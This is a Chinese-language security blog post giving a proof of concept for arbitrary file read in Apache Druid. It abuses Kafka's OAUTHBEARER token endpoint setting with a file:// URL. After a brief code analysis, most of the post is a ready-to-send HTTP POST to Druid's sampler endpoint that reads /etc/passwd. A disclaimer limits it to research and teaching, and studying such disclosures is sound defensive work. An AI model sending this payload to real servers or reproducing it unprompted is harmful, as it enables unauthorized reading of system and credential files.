kafka 任意文件读取 POC

admin 2025年6月12日17:06:01评论40 views字数 4692阅读15分38秒阅读模式
在apache-druid中的复现
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kafka 任意文件读取 POC
配置认证模式为OAUTHBEARER
简单分析
这里,判断sasl.oauthbearer.token.endpoint.url协议为file,则
return new FileTokenRetriever(cu.validateFile("sasl.oauthbearer.token.endpoint.url"));
kafka 任意文件读取 POC
初始化的时候会读取,返回内容
kafka 任意文件读取 POC
没时间细分析了

POC

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1

Host: 127.0.0.1:8888

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Type: application/json

Content-Length: 1617



{

  "type": "kafka",

  "spec": {

    "type": "kafka",

    "ioConfig": {

      "type": "kafka",

      "consumerProperties": {

        "bootstrap.servers": "127.0.0.1:6666",

        "sasl.mechanism": "OAUTHBEARER",

        "security.protocol": "SASL_SSL",

        "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",

"sasl.oauthbearer.token.endpoint.url":"file:///etc/passwd",

        "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"

      },

      "topic": "test",

      "useEarliestOffset": true,

      "inputFormat": {

        "type": "regex",

        "pattern": "([\\s\\S]*)",

        "listDelimiter": "56616469-6de2-9da4-efb8-8f416e6e6965",

        "columns": ["raw"]

      }

    },

    "dataSchema": {

      "dataSource": "sample",

      "timestampSpec": {

        "column": "!!!_no_such_column_!!!",

        "missingValue": "1970-01-01T00:00:00Z"

      },

      "dimensionsSpec": {},

      "granularitySpec": {

        "rollup": false

      }

    },

    "tuningConfig": {

      "type": "kafka"

    }

  },

  "samplerConfig": {

    "numRows": 500,

    "timeoutMs": 15000

  }

}

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  • 本文由 发表于 2025年6月12日17:06:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
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                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

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